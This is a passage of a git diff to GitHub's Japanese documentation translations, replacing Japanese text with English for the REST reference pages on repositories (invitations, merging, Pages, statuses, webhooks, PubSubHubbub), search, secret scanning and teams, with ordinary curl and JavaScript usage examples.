{% endfor %} -## 招待 +## Invitations -Repository Invitations API を使用すると、他のユーザにリポジトリでコラボレーションするようユーザや外部サービスを招待できます。 招待されたユーザ (または招待されたユーザを代行する外部サービス) は、招待を受諾または拒否できます。 +The Repository Invitations API allows users or external services to invite other users to collaborate on a repo. The invited users (or external services on behalf of invited users) can choose to accept or decline the invitations. -`repo` スコープはコードにも招待にもアクセス権を付与するのに対し、`repo:invite` [OAuth scope](/developers/apps/scopes-for-oauth-apps) は招待のみに絞ってアクセス権を付与し、リポジトリのコードにはアクセス権を付与**しない**ことに注意してください。 +Note that the `repo:invite` [OAuth scope](/developers/apps/scopes-for-oauth-apps) grants targeted +access to invitations **without** also granting access to repository code, while the +`repo` scope grants permission to code as well as invitations. -### ユーザをリポジトリに招待する +### Invite a user to a repository -コラボレータを追加するには、API エンドポイントを使用します。 詳しい情報については「[リポジトリコラボレータを追加する](/rest/reference/repos#add-a-repository-collaborator)」を参照してください。 +Use the API endpoint for adding a collaborator. For more information, see "[Add a repository collaborator](/rest/reference/repos#add-a-repository-collaborator)." {% for operation in currentRestOperations %} {% if operation.subcategory == 'invitations' %}{% include rest_operation %}{% endif %} @@ -215,42 +214,44 @@ Repository Invitations API を使用すると、他のユーザにリポジト {% endif %} -## マージ +## Merging -Repo Merging API は、リポジトリ内にあるブランチのマージをサポートしています。 これは、ローカルリポジトリにおいて 1 つのブランチを別のブランチにマージし、それを {% data variables.product.product_name %} にプッシュするのと本質的には同じことです。 この利点は、マージがサーバー側で行われ、ローカルリポジトリが必要ないことです。 これは自動化や、ローカルリポジトリの保守が煩雑で非効率的なツールに適しています。 +The Repo Merging API supports merging branches in a repository. This accomplishes +essentially the same thing as merging one branch into another in a local repository +and then pushing to {% data variables.product.product_name %}. The benefit is that the merge is done on the server side and a local repository is not needed. This makes it more appropriate for automation and other tools where maintaining local repositories would be cumbersome and inefficient. -認証されたユーザは、このエンドポイントを通じて実行されたあらゆるマージの作者になります。 +The authenticated user will be the author of any merges done through this endpoint. {% for operation in currentRestOperations %} {% if operation.subcategory == 'merging' %}{% include rest_operation %}{% endif %} {% endfor %} -## ページ +## Pages -{% data variables.product.prodname_pages %} API は、{% data variables.product.prodname_pages %} の設定や、ビルドのステータスについての情報を取得します。 サイトとビルドに関する情報は、{% ifversion not ghae %}Webサイトがパブリックの場合であっても{% endif %}認証を受けたユーザだけがアクセスできます。 For more information, see "[About {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages)." +The {% data variables.product.prodname_pages %} API retrieves information about your {% data variables.product.prodname_pages %} configuration, and the statuses of your builds. Information about the site and the builds can only be accessed by authenticated owners{% ifversion not ghae %}, even if the websites are public{% endif %}. For more information, see "[About {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages)." -レスポンスに `status` キーを持つ {% data variables.product.prodname_pages %} API エンドポイントにおいては、値は以下のいずれかになります。 -* `null`: サイトはまだビルドされていません。 -* `queued`: ビルドがリクエストされたが、まだ開始していません。 -* `building`: ビルドが進行中です。 -* `built`: サイトがビルドされています。 -* `errored`: ビルド中にエラーが発生したことを示します。 +In {% data variables.product.prodname_pages %} API endpoints with a `status` key in their response, the value can be one of: +* `null`: The site has yet to be built. +* `queued`: The build has been requested but not yet begun. +* `building`:The build is in progress. +* `built`: The site has been built. +* `errored`: Indicates an error occurred during the build. -GitHub Pages サイトの情報を返す {% data variables.product.prodname_pages %} API エンドポイントにおいては、JSON のレスポンスには以下が含まれます。 -* `html_url`: レンダリングされた Pages サイトの絶対 URL (スキームを含む) 。 たとえば、`https://username.github.io` などです。 -* `source`: レンダリングされた Pages サイトのソースブランチおよびディレクトリを含むオブジェクト。 これは以下のものが含まれます。 - - `branch`: [サイトのソースファイル](/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site)を公開するために使用するリポジトリのブランチ。 たとえば、_main_ or _gh-pages_ などです。 - - `path`: サイトの公開元のリポジトリディレクトリ。 `/` または `/docs` のどちらかとなります。 +In {% data variables.product.prodname_pages %} API endpoints that return GitHub Pages site information, the JSON responses include these fields: +* `html_url`: The absolute URL (including scheme) of the rendered Pages site. For example, `https://username.github.io`. +* `source`: An object that contains the source branch and directory for the rendered Pages site. This includes: + - `branch`: The repository branch used to publish your [site's source files](/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site). For example, _main_ or _gh-pages_. + - `path`: The repository directory from which the site publishes. Will be either `/` or `/docs`. {% for operation in currentRestOperations %} {% if operation.subcategory == 'pages' %}{% include rest_operation %}{% endif %} {% endfor %} -## リリース +## Releases {% note %} -**注釈:** Releases API は Downloads API を置き換えるものです。 リリースを返し、アセットをリリースする、この API のエンドポイントからダウンロード数と ブラウザのダウンロード URL を取得できます。 +**Note:** The Releases API replaces the Downloads API. You can retrieve the download count and browser download URL from the endpoints in this API that return releases and release assets. {% endnote %} @@ -258,61 +259,79 @@ GitHub Pages サイトの情報を返す {% data variables.product.prodname_page {% if operation.subcategory == 'releases' %}{% include rest_operation %}{% endif %} {% endfor %} -## 統計 +## Statistics -Repository Statistics API を使用すると、{% data variables.product.product_name %} がさまざまなタイプのリポジトリのアクティビティを視覚化するために用いるデータをフェッチできます。 +The Repository Statistics API allows you to fetch the data that {% data variables.product.product_name %} uses for visualizing different +types of repository activity. -### キャッシングについて +### A word about caching -リポジトリの統計情報を計算するのは負荷が高い操作なので、可能な限りキャッシュされたデータを返すようにしています。 リポジトリの統計をクエリした際にデータがキャッシュされていなかった場合は、`202` レスポンスを受け取ります。また、この統計をまとめるため、バックグラウンドでジョブが開始します。 このジョブが完了するまで少し待ってから、リクエストを再度サブミットしてください。 ジョブが完了していた場合、リクエストは `200` レスポンスを受けとり、レスポンスの本文には統計情報が含まれています。 +Computing repository statistics is an expensive operation, so we try to return cached +data whenever possible. If the data hasn't been cached when you query a repository's +statistics, you'll receive a `202` response; a background job is also fired to +start compiling these statistics. Give the job a few moments to complete, and +then submit the request again. If the job has completed, that request will receive a +`200` response with the statistics in the response body. -リポジトリの統計情報は、リポジトリのデフォルトブランチに SHA でキャッシュされ、デフォルトのブランチにプッシュすると統計情報のキャッシュがリセットされます。 +Repository statistics are cached by the SHA of the repository's default branch; pushing to the default branch resets the statistics cache. -### 統計で除外されるコミットのタイプ +### Statistics exclude some types of commits -API によって公開される統計は、[別のリポジトリグラフ](/github/visualizing-repository-data-with-graphs/about-repository-graphs)で表示される統計と同じものです。 +The statistics exposed by the API match the statistics shown by [different repository graphs](/github/visualizing-repository-data-with-graphs/about-repository-graphs). -要約すると、 -- すべての統計は、マージコミットが除外されます。 -- コントリビューター統計では、空のコミットも除外されます。 +To summarize: +- All statistics exclude merge commits. +- Contributor statistics also exclude empty commits. {% for operation in currentRestOperations %} {% if operation.subcategory == 'statistics' %}{% include rest_operation %}{% endif %} {% endfor %} -## ステータス +## Statuses -ステータス API を使用すると、外部サービスがコミットに `error`、 `failure`、`pending`、`success` ステータスを付けることができ、このステータスはコミットが含まれるプルリクエストに反映されます。 +The status API allows external services to mark commits with an `error`, +`failure`, `pending`, or `success` state, which is then reflected in pull requests +involving those commits. -ステータスには、オプションとして `description` と `target_url` を含めることもできます。これにより GitHub UI でステータスをより有用なものにできるので、非常におすすめです。 +Statuses can also include an optional `description` and `target_url`, and +we highly recommend providing them as they make statuses much more +useful in the GitHub UI. -たとえば、継続的インテグレーションサービスの典型的な使用方法の一つが、ステータスを使用してコミットに合格と不合格の印を付けることです。 `target_url` でビルドの出力先の完全な URL、`description` でビルドで発生したことの概要を示すといったようにします。 +As an example, one common use is for continuous integration +services to mark commits as passing or failing builds using status. The +`target_url` would be the full URL to the build output, and the +`description` would be the high level summary of what happened with the +build. -ステータスには、どのサービスがそのステータスを提供しているかを示す `context` を含めることができます。 たとえば、継続的インテグレーションサービスのプッシュステータスに `ci` のコンテキストを、セキュリティ監査ツールのプッシュステータスに `security` のコンテキストを含めることができます。 その後、[特定のリファレンス複合的なステータス](/rest/reference/repos#get-the-combined-status-for-a-specific-reference)を使用して、コミットの全体のステータスを取得できます。 +Statuses can include a `context` to indicate what service is providing that status. +For example, you may have your continuous integration service push statuses with a context of `ci`, and a security audit tool push statuses with a context of `security`. You can +then use the [Get the combined status for a specific reference](/rest/reference/repos#get-the-combined-status-for-a-specific-reference) to retrieve the whole status for a commit. -`repo` スコープはコードにもステータスにもアクセス権を付与するのに対し、`repo:status` [OAuth scope](/developers/apps/scopes-for-oauth-apps) はステータスのみに絞ってアクセス権を付与し、リポジトリのコードにはアクセス権を付与**しない**ことに注意してください。 +Note that the `repo:status` [OAuth scope](/developers/apps/scopes-for-oauth-apps) grants targeted access to statuses **without** also granting access to repository code, while the +`repo` scope grants permission to code as well as statuses. -GitHub App を開発していて、外部サービスについて詳細な情報を提供したい場合は、[Checks API](/rest/reference/checks) を使用できます。 +If you are developing a GitHub App and want to provide more detailed information about an external service, you may want to use the [Checks API](/rest/reference/checks). {% for operation in currentRestOperations %} {% if operation.subcategory == 'statuses' %}{% include rest_operation %}{% endif %} {% endfor %} {% ifversion fpt or ghec %} -## トラフィック +## Traffic -プッシュアクセスを持つリポジトリに対し、トラフィック API はリポジトリグラフが提供する情報へのアクセスを提供します。 For more information, see "Viewing traffic to a repository." +For repositories that you have push access to, the traffic API provides access +to the information provided in your repository graph. For more information, see "Viewing traffic to a repository." {% for operation in currentRestOperations %} {% if operation.subcategory == 'traffic' %}{% include rest_operation %}{% endif %} {% endfor %} {% endif %} -## webhook +## Webhooks Repository webhooks allow you to receive HTTP `POST` payloads whenever certain events happen in a repository. {% data reusables.webhooks.webhooks-rest-api-links %} -Organization のすべてのリポジトリからイベントを受信するため単一の webhook を設定する場合は、[Organization Webhooks](/rest/reference/orgs#webhooks) の API ドキュメントを参照してください。 +If you would like to set up a single webhook to receive events from all of your organization's repositories, see our API documentation for [Organization Webhooks](/rest/reference/orgs#webhooks). In addition to the REST API, {% data variables.product.prodname_dotcom %} can also serve as a [PubSubHubbub](#pubsubhubbub) hub for repositories. @@ -320,39 +339,40 @@ In addition to the REST API, {% data variables.product.prodname_dotcom %} can al {% if operation.subcategory == 'webhooks' %}{% include rest_operation %}{% endif %} {% endfor %} -### webhook の受信 +### Receiving Webhooks -{% data variables.product.product_name %} で webhook ペイロードを送信するには、インターネットからサーバーにアクセスできる必要があります。 暗号化されたペイロードを HTTPS 経由で送信できるように、SSL の使用も強く推奨します。 +In order for {% data variables.product.product_name %} to send webhook payloads, your server needs to be accessible from the Internet. We also highly suggest using SSL so that we can send encrypted payloads over HTTPS. -#### webhook ヘッダー +#### Webhook headers -{% data variables.product.product_name %} は、イベントタイプとペイロード識別子を区別するために、複数の HTTP ヘッダーも送信します。 See [webhook headers](/developers/webhooks-and-events/webhook-events-and-payloads#delivery-headers) for details. +{% data variables.product.product_name %} will send along several HTTP headers to differentiate between event types and payload identifiers. See [webhook headers](/developers/webhooks-and-events/webhook-events-and-payloads#delivery-headers) for details. ### PubSubHubbub -GitHub は、すべてのリポジトリに対する [PubSubHubbub](https://github.com/pubsubhubbub/PubSubHubbub) のハブとして機能することもできます。 PSHB はシンプルな公開/サブスクライブプロトコルで、トピックが更新されたときにサーバーが更新を受信できるよう登録できます。 更新は HTTP POST リクエストでコールバック URL に送信されます。 GitHub リポジトリのプッシュに対するトピック URL のフォーマットは以下の通りです。 +GitHub can also serve as a [PubSubHubbub](https://github.com/pubsubhubbub/PubSubHubbub) hub for all repositories. PSHB is a simple publish/subscribe protocol that lets servers register to receive updates when a topic is updated. The updates are sent with an HTTP POST request to a callback URL. +Topic URLs for a GitHub repository's pushes are in this format: `https://github.com/{owner}/{repo}/events/{event}` -イベントには、任意の使用可能な webhook イベントを指定します。 詳しい情報については、「[webhook イベントとペイロード](/developers/webhooks-and-events/webhook-events-and-payloads)」を参照してください。 +The event can be any available webhook event. For more information, see "[Webhook events and payloads](/developers/webhooks-and-events/webhook-events-and-payloads)." -#### レスポンスのフォーマット +#### Response format -デフォルトのフォーマットは、[既存の post-receive フックから予想できます](/post-receive-hooks/)。すなわち、POST で `payload` パラメータとして送信される JSON の本文です。 また、`Accept` ヘッダまたは `.json` 拡張子で、Raw 形式の JSON 本文を受信するよう指定できます。 +The default format is what [existing post-receive hooks should expect](/post-receive-hooks/): A JSON body sent as the `payload` parameter in a POST. You can also specify to receive the raw JSON body with either an `Accept` header, or a `.json` extension. Accept: application/json https://github.com/{owner}/{repo}/events/push.json -#### コールバック URL +#### Callback URLs -コールバック URL は `http://` プロトコルを使用できます。 +Callback URLs can use the `http://` protocol. # Send updates to postbin.org http://postbin.org/123 -#### サブスクライブ +#### Subscribing -GitHub PubSubHubbub のエンドポイントは `{% data variables.product.api_url_code %}/hub` です。 curl でリクエストに成功すると、以下のように表示されます。 +The GitHub PubSubHubbub endpoint is: `{% data variables.product.api_url_code %}/hub`. A successful request with curl looks like: ``` shell curl -u "user" -i \ @@ -362,13 +382,13 @@ curl -u "user" -i \ -F "hub.callback=http://postbin.org/123" ``` -PubSubHubbub リクエストは複数回送信できます。 フックがすでに存在する場合は、リクエストに従って変更されます。 +PubSubHubbub requests can be sent multiple times. If the hook already exists, it will be modified according to the request. -##### パラメータ +##### Parameters -| 名前 | 種類 | 説明 | -| -------------- | -------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `hub.mode` | `string` | **必須**。 `subscribe` または `unsubscribe`。 | -| `hub.topic` | `string` | **必須**。 GitHub リポジトリがサブスクライブする URI。 パスのフォーマットは `/{owner}/{repo}/events/{event}` としてください。 | -| `hub.callback` | `string` | トピックの更新を受信する URI。 | -| `hub.secret` | `string` | 送信する本文コンテンツの ハッシュ署名を生成する共有秘密鍵。 You can verify a push came from GitHub by comparing the raw request body with the contents of the {% ifversion fpt or ghes > 2.22 or ghec %}`X-Hub-Signature` or `X-Hub-Signature-256` headers{% elsif ghes < 3.0 %}`X-Hub-Signature` header{% elsif ghae %}`X-Hub-Signature-256` header{% endif %}. 詳細は、 [PubSubHubbub のドキュメント](https://pubsubhubbub.github.io/PubSubHubbub/pubsubhubbub-core-0.4.html#authednotify)を参照してください。 | +Name | Type | Description +-----|------|-------------- +``hub.mode``|`string` | **Required**. Either `subscribe` or `unsubscribe`. +``hub.topic``|`string` |**Required**. The URI of the GitHub repository to subscribe to. The path must be in the format of `/{owner}/{repo}/events/{event}`. +``hub.callback``|`string` | The URI to receive the updates to the topic. +``hub.secret``|`string` | A shared secret key that generates a hash signature of the outgoing body content. You can verify a push came from GitHub by comparing the raw request body with the contents of the {% ifversion fpt or ghes > 2.22 or ghec %}`X-Hub-Signature` or `X-Hub-Signature-256` headers{% elsif ghes < 3.0 %}`X-Hub-Signature` header{% elsif ghae %}`X-Hub-Signature-256` header{% endif %}. You can see [the PubSubHubbub documentation](https://pubsubhubbub.github.io/PubSubHubbub/pubsubhubbub-core-0.4.html#authednotify) for more details. diff --git a/translations/ja-JP/content/rest/reference/search.md b/translations/ja-JP/content/rest/reference/search.md index b3d805e3eb..99d4a14e4f 100644 --- a/translations/ja-JP/content/rest/reference/search.md +++ b/translations/ja-JP/content/rest/reference/search.md @@ -1,6 +1,6 @@ --- -title: 検索 -intro: '{% data variables.product.product_name %} Search APIを使うと、特定のアイテムを効率的に検索できます。' +title: Search +intro: 'The {% data variables.product.product_name %} Search API lets you to search for the specific item efficiently.' redirect_from: - /v3/search versions: @@ -13,109 +13,125 @@ topics: miniTocMaxHeadingLevel: 3 --- -Search API は、見つけたい特定の項目を検索するために役立ちます。 たとえば、リポジトリ内のユーザや特定のファイルを見つけることができます。 Google で検索を実行するのと同じように考えてください。 Search API は、探している 1 つの結果 (または探しているいくつかの結果) を見つけるために役立つよう設計されています。 Google で検索する場合と同じように、ニーズに最も合う項目を見つけるため、検索結果を数ページ表示したい場合もあるでしょう。 こうしたニーズを満たすため、{% data variables.product.product_name %} Search API では**各検索につき 最大 1,000 件の結果**を提供します。 +The Search API helps you search for the specific item you want to find. For example, you can find a user or a specific file in a repository. Think of it the way you think of performing a search on Google. It's designed to help you find the one result you're looking for (or maybe the few results you're looking for). Just like searching on Google, you sometimes want to see a few pages of search results so that you can find the item that best meets your needs. To satisfy that need, the {% data variables.product.product_name %} Search API provides **up to 1,000 results for each search**. -クエリを使って、検索を絞り込めます。 検索クエリ構文の詳細については、「[検索クエリの構築](/rest/reference/search#constructing-a-search-query)」を参照してください。 +You can narrow your search using queries. To learn more about the search query syntax, see "[Constructing a search query](/rest/reference/search#constructing-a-search-query)." -### 検索結果を順番づける +### Ranking search results -クエリパラメータとして別のソートオプションが指定されない限り、結果は最も一致するものから降順にソートされます。 最も関連性の高い項目を検索結果の最上位に押し上げるように、複数の要素が組み合わされます。 +Unless another sort option is provided as a query parameter, results are sorted by best match in descending order. Multiple factors are combined to boost the most relevant item to the top of the result list. -### レート制限 +### Rate limit -Search API にはカスタムレート制限があります。 リクエストに[基本認証](/rest#authentication)、[OAuth](/rest#authentication)、または[クライアント ID とシークレット](/rest#increasing-the-unauthenticated-rate-limit-for-oauth-applications)を使用する場合は、1 分間に最大 30 件のリクエストが行えます。 認証されていないリクエストでは、レート制限により 1 分間あたり最大 10 件のリクエストが行えます。 +The Search API has a custom rate limit. For requests using [Basic +Authentication](/rest#authentication), [OAuth](/rest#authentication), or [client +ID and secret](/rest#increasing-the-unauthenticated-rate-limit-for-oauth-applications), you can make up to +30 requests per minute. For unauthenticated requests, the rate limit allows you +to make up to 10 requests per minute. {% data reusables.enterprise.rate_limit %} -現在のレート制限状態を確認する方法の詳細については、[レート制限ドキュメンテーション](/rest/reference/rate-limit)を参照してください。 +See the [rate limit documentation](/rest/reference/rate-limit) for details on +determining your current rate limit status. -### 検索クエリの構築 +### Constructing a search query -Search API の各エンドポイントでは、{% data variables.product.product_name %} で検索を行うために[クエリパラメータ](https://en.wikipedia.org/wiki/Query_string)を使用します。 エンドポイントとクエリパラメータを含める例については、Search API の個々のエンドポイントを参照してください。 +Each endpoint in the Search API uses [query parameters](https://en.wikipedia.org/wiki/Query_string) to perform searches on {% data variables.product.product_name %}. See the individual endpoint in the Search API for an example that includes the endpoint and query parameters. -クエリには、{% data variables.product.product_name %} でサポートされている検索修飾子を任意に組み合わせて使用できます。 検索クエリの形式は次のとおりです。 +A query can contain any combination of search qualifiers supported on {% data variables.product.product_name %}. The format of the search query is: ``` SEARCH_KEYWORD_1 SEARCH_KEYWORD_N QUALIFIER_1 QUALIFIER_N ``` -たとえば、README ファイルに `GitHub` と `Octocat` という言葉が含まれている、`defunkt` が所有する_リポジトリ_をすべて検索する場合、_検索リポジトリ_エンドポイントに次のクエリを使用します。 +For example, if you wanted to search for all _repositories_ owned by `defunkt` that +contained the word `GitHub` and `Octocat` in the README file, you would use the +following query with the _search repositories_ endpoint: ``` GitHub Octocat in:readme user:defunkt ``` -**ノート:** クエリ文字列の構築には、使用する言語の優先 HTML エンコーダを必ず使用してしてください。 例: +**Note:** Be sure to use your language's preferred HTML-encoder to construct your query strings. For example: ```javascript // JavaScript const queryString = 'q=' + encodeURIComponent('GitHub Octocat in:readme user:defunkt'); ``` -使用可能な修飾子の完全な一覧、フォーマット、使用例については、「[GitHub での検索](/articles/searching-on-github/)」を参照してください。 For information about how to use operators to match specific quantities, dates, or to exclude results, see "[Understanding the search syntax](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax/)." +See "[Searching on GitHub](/articles/searching-on-github/)" +for a complete list of available qualifiers, their format, and an example of +how to use them. For information about how to use operators to match specific +quantities, dates, or to exclude results, see "[Understanding the search syntax](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax/)." -### クエリの長さの制限 +### Limitations on query length -Search API は、以下のクエリをサポートしていません。 -- 256 文字超 (演算子や修飾子は除く)。 -- `AND`、`OR`、`NOT` の演算子が 6 つ以上ある。 +The Search API does not support queries that: +- are longer than 256 characters (not including operators or qualifiers). +- have more than five `AND`, `OR`, or `NOT` operators. -こうした検索クエリを使用すると、「Validation failed」というエラーメッセージが返されます。 +These search queries will return a "Validation failed" error message. -### タイムアウトと不完全な結果 +### Timeouts and incomplete results -皆さんが Search API を迅速に使用できるよう、個別のクエリを実行する時間について制限を設けています。 [時間制限を超えた](https://developer.github.com/changes/2014-04-07-understanding-search-results-and-potential-timeouts/)クエリに対しては、API はタイムアウト前に見つかった一致を返し、レスポンスの `incomplete_results` プロパティが `true` に設定されます。 +To keep the Search API fast for everyone, we limit how long any individual query +can run. For queries that [exceed the time limit](https://developer.github.com/changes/2014-04-07-understanding-search-results-and-potential-timeouts/), +the API returns the matches that were already found prior to the timeout, and +the response has the `incomplete_results` property set to `true`. -タイムアウトになったことは、必ずしも検索結果が未完了であるということではありません。 もっと多くの検索結果が出たかもしれませんし、出ていないかもしれません。 +Reaching a timeout does not necessarily mean that search results are incomplete. +More results might have been found, but also might not. -### アクセスエラーまたは検索結果の欠落 +### Access errors or missing search results -検索クエリでは、認証に成功してリポジトリにアクセスできるようにする必要があります。そうしない場合は、`422 Unprocessible Entry` エラーと、「Validation Failed」というメッセージが表示されます。 たとえば、{% data variables.product.prodname_dotcom %} にサインインしたときにアクセスできないリソースをリクエストする `repo:`、`user:`、または `org:` 修飾子がクエリに含まれている場合、検索は失敗します。 +You need to successfully authenticate and have access to the repositories in your search queries, otherwise, you'll see a `422 Unprocessable Entry` error with a "Validation Failed" message. For example, your search will fail if your query includes `repo:`, `user:`, or `org:` qualifiers that request resources that you don't have access to when you sign in on {% data variables.product.prodname_dotcom %}. -検索クエリで複数のリソースをリクエストする場合、レスポンスにはあなたがアクセスできるリソースのみが含まれ、返されないリソースを一覧表示するようなエラーメッセージは**表示されません**。 +When your search query requests multiple resources, the response will only contain the resources that you have access to and will **not** provide an error message listing the resources that were not returned. -たとえば、検索クエリで `octocat/test` リポジトリと `codertocat/test` リポジトリを検索し、`octocat/test` へのアクセス権しか持っていない場合、`octocat/test` の検索結果が表示され、`codertocat/test` の検索結果は全く表示されません。 この振る舞いは、{% data variables.product.prodname_dotcom %} における検索の仕組みと同じです。 +For example, if your search query searches for the `octocat/test` and `codertocat/test` repositories, but you only have access to `octocat/test`, your response will show search results for `octocat/test` and nothing for `codertocat/test`. This behavior mimics how search works on {% data variables.product.prodname_dotcom %}. {% include rest_operations_at_current_path %} -### テキスト一致メタデータ +### Text match metadata -GitHub では、コードスニペットが提供するコンテキストとと、検索結果のハイライトが使用できます。 Search API では、検索結果を表示するときに、検索と一致した言葉をハイライトできる付加的なメタデータを用意しています。 +On GitHub, you can use the context provided by code snippets and highlights in search results. The Search API offers additional metadata that allows you to highlight the matching search terms when displaying search results. ![code-snippet-highlighting](/assets/images/text-match-search-api.png) -リクエストでは、レスポンスに含まれるテキストフラグメントを受け取ることを選べます。各フラグメントには、一致した各検索用語の正確な場所を特定する数値オフセットが付属しています。 +Requests can opt to receive those text fragments in the response, and every fragment is accompanied by numeric offsets identifying the exact location of each matching search term. -検索結果でこのメタデータを取得するには、`Accept` ヘッダで `text-match` メディアタイプを指定します。 +To get this metadata in your search results, specify the `text-match` media type in your `Accept` header. ```shell application/vnd.github.v3.text-match+json ``` -`text-match` メディアタイプを指定すると、JSON ペイロード内にある `text_matches` と呼ばれる追加の鍵を受け取ります。この鍵は、テキスト内の検索用語の位置と、検索用語を含む `property` についての情報を提供します。 `text_matches` 配列内の各オブジェクトには、以下の属性が含まれています。 +When you provide the `text-match` media type, you will receive an extra key in the JSON payload called `text_matches` that provides information about the position of your search terms within the text and the `property` that includes the search term. Inside the `text_matches` array, each object includes +the following attributes: -| 名前 | 説明 | -| ------------- | ----------------------------------------------------------------------------------------------------------------------------------- | -| `object_url` | 検索用語のいずれかに一致する文字列プロパティを含むリソースの URL。 | -| `object_type` | 指定された `object_url` に存在するリソースのタイプの名前。 | -| `属性` | `object_url` に存在するリソースのプロパティの名前。 このプロパティは、検索用語のいずれかに一致する文字列です。 (`object_url` から返される JSON では、`fragment` の完全な内容を、この名前でプロパティから検索できます。) | -| `フラグメント` | `property` の値のサブセット。 これは、1 つ以上の検索用語に一致するテキストフラグメントです。 | -| `matches` | `fragment` に存在する 1 つ以上の検索用語の配列。 インデックス (すなわち「オフセット」) は、フラグメントと関連しています。 (`property` の_完全な_内容とは関係していません。) | +Name | Description +-----|-----------| +`object_url` | The URL for the resource that contains a string property matching one of the search terms. +`object_type` | The name for the type of resource that exists at the given `object_url`. +`property` | The name of a property of the resource that exists at `object_url`. That property is a string that matches one of the search terms. (In the JSON returned from `object_url`, the full content for the `fragment` will be found in the property with this name.) +`fragment` | A subset of the value of `property`. This is the text fragment that matches one or more of the search terms. +`matches` | An array of one or more search terms that are present in `fragment`. The indices (i.e., "offsets") are relative to the fragment. (They are not relative to the _full_ content of `property`.) -#### サンプル +#### Example -cURL と、上記の [Issue 検索例](#search-issues-and-pull-requests) を使用すると、API リクエストは次のようになります。 +Using cURL, and the [example issue search](#search-issues-and-pull-requests) above, our API +request would look like this: ``` shell curl -H 'Accept: application/vnd.github.v3.text-match+json' \ '{% data variables.product.api_url_pre %}/search/issues?q=windows+label:bug+language:python+state:open&sort=created&order=asc' ``` -レスポンスには、検索結果ごとに `text_matches` 配列が含まれます。 以下の JSON では、`text_matches` 配列に 2 つのオブジェクトがあります。 +The response will include a `text_matches` array for each search result. In the JSON below, we have two objects in the `text_matches` array. -最初のテキスト一致は、Issue の `body` プロパティで発生しました 。 Issue 本文から、テキストのフラグメントが表示されています。 検索用語 (`windows`) はフラグメント内に 2 回出現し、それぞれにインデックスがあります。 +The first text match occurred in the `body` property of the issue. We see a fragment of text from the issue body. The search term (`windows`) appears twice within that fragment, and we have the indices for each occurrence. -2 番目のテキスト一致は、Issue のコメントのうちの 1 つの `body` プロパティで発生しました。 Issue コメントの URL があります。 そしてもちろん、コメント本文から、テキストのフラグメントが表示されています。 検索用語 (`windows`) は、フラグメント内で 1 回出現しています。 +The second text match occurred in the `body` property of one of the issue's comments. We have the URL for the issue comment. And of course, we see a fragment of text from the comment body. The search term (`windows`) appears once within that fragment. ```json { diff --git a/translations/ja-JP/content/rest/reference/secret-scanning.md b/translations/ja-JP/content/rest/reference/secret-scanning.md index aeaf805878..d3fd555101 100644 --- a/translations/ja-JP/content/rest/reference/secret-scanning.md +++ b/translations/ja-JP/content/rest/reference/secret-scanning.md @@ -1,6 +1,6 @@ --- title: Secret scanning -intro: プライベートリポジトリからのシークレットアラートを取得して更新するには、Secret Scanning APIが利用できます。 +intro: 'To retrieve and update the secret alerts from a private repository, you can use Secret Scanning API.' versions: fpt: '*' ghes: '>=3.1' @@ -11,6 +11,12 @@ miniTocMaxHeadingLevel: 3 {% data reusables.secret-scanning.api-beta %} -{% data variables.product.prodname_secret_scanning %} APIを使うと、{% ifversion fpt or ghec %}プライベート{% endif %}リポジトリからSecret Scanningアラートを取得して更新できます。 Secret Scanningに関する詳しい情報については、「[Secret Scanningについて](/code-security/secret-security/about-secret-scanning)」を参照してください。 +The {% data variables.product.prodname_secret_scanning %} API lets you{% ifversion fpt or ghec or ghes > 3.1 or ghae-next %}: + +- Enable or disable {% data variables.product.prodname_secret_scanning %} for a repository. For more information, see "[Repositories](/rest/reference/repos#update-a-repository)" in the REST API documentation. +- Retrieve and update {% data variables.product.prodname_secret_scanning %} alerts from a {% ifversion fpt or ghec %}private {% endif %}repository. For futher details, see the sections below. +{%- else %} retrieve and update {% data variables.product.prodname_secret_scanning %} alerts from a {% ifversion fpt or ghec %}private {% endif %}repository.{% endif %} + +For more information about {% data variables.product.prodname_secret_scanning %}, see "[About {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/about-secret-scanning)." {% include rest_operations_at_current_path %} diff --git a/translations/ja-JP/content/rest/reference/teams.md b/translations/ja-JP/content/rest/reference/teams.md index 609a51ba2c..2e05e37ba8 100644 --- a/translations/ja-JP/content/rest/reference/teams.md +++ b/translations/ja-JP/content/rest/reference/teams.md @@ -1,6 +1,6 @@ --- -title: Team -intro: 'Team APIを使うと、{% data variables.product.product_name %} Organization内のTeamの作成や管理ができます。' +title: Teams +intro: 'With the Teams API, you can create and manage teams in your {% data variables.product.product_name %} organization.' redirect_from: - /v3/teams versions: @@ -13,36 +13,36 @@ topics: miniTocMaxHeadingLevel: 3 --- -この API は、Team の [Organization](/rest/reference/orgs) の、認証済みメンバーのみが利用できます。 OAuth のアクセストークンは、 `read:org` [スコープ](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/)を必要とします。 {% data variables.product.prodname_dotcom %} は、Team の `name` からTeam の `slug` を生成します。 +This API is only available to authenticated members of the team's [organization](/rest/reference/orgs). OAuth access tokens require the `read:org` [scope](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/). {% data variables.product.prodname_dotcom %} generates the team's `slug` from the team `name`. {% for operation in currentRestOperations %} {% unless operation.subcategory %}{% include rest_operation %}{% endunless %} {% endfor %} -## ディスカッション +## Discussions -Team ディスカッション API を使用すると、Team のページに投稿されたディスカッションを取得、作成、編集、削除できます。 Team のディスカッションは、リポジトリやプロジェクトに原生されない会話をするために利用できます。 Team の [Organization](/rest/reference/orgs) に属する全メンバーが、公開のディスカッション投稿を作成や表示できます。 詳細については「[Teamディスカッションについて](//organizations/collaborating-with-your-team/about-team-discussions/)」を参照してください。 ディスカッションの投稿に対するコメントの詳細については、「[Team ディスカッションのコメント API](/rest/reference/teams#discussion-comments)」を参照してください。 この API は、Team の Organization の、認証済みメンバーのみが利用できます。 +The team discussions API allows you to get, create, edit, and delete discussion posts on a team's page. You can use team discussions to have conversations that are not specific to a repository or project. Any member of the team's [organization](/rest/reference/orgs) can create and read public discussion posts. For more details, see "[About team 